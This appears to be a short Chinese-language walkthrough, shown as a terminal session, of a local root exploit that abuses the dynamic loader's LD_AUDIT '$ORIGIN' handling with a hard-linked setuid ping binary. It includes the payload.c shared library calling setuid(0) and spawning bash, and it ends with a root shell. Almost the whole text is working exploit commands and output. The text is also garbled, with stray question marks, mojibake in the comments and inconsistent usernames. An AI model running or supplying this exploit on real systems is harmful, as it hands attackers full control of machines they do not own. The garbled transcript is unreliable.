以一個普通用戶MI登錄
[MI@localhost tmp]$? ? ? ? ls -ld /tmp/? 因為tmp目錄能寫文件Ｄ厶怠辆亏！
drwxrwxrwt 11 root root 4096 10-14 21:29 /tmp/
[MI@localhost tmp]$? ? ? ? cd /tmp/
[MI@localhost tmp]$? ? ? ? mkdir exploit
[MI@localhost tmp]$? ? ? ? ln /bin/ping /tmp/exploit/target
[MI@localhost tmp]$? ? ? ? exec 3< /tmp/exploit/target? ? 文件描述符红淡，把/tmp/exploit/target定義為文件描述符3
[MI@localhost tmp]$? ? ? ? ls -l /proc/
/fd/3lr?x??????1hellohello6410?2009:30/proc/10990/fd/3?>/tmp/exploit/target
[hello@localhosttmp]$rm?fr/tmp/exploit/
[hello@localhosttmp]$? ? ? ? ls?l/proc/
/fd/3
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)
[MI@localhost tmp]$? ? ? ? cat > payload.c? ? ? 必須要把c學的很明白Ｄ叶浮幸缕！
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
[MI@localhost tmp]$? ? ? ? gcc -w -fPIC -shared -o /tmp/exploit payload.c
[MI@localhost tmp]$? ? ? ? ls -l /tmp/exploit
-rwxrwxr-x 1 hello hello 4223 10-20 09:32 /tmp/exploit
[MI@localhost tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3? ? 定義環(huán)境變量
[root@localhost tmp]#? ? ? ? whoami
root
--------------
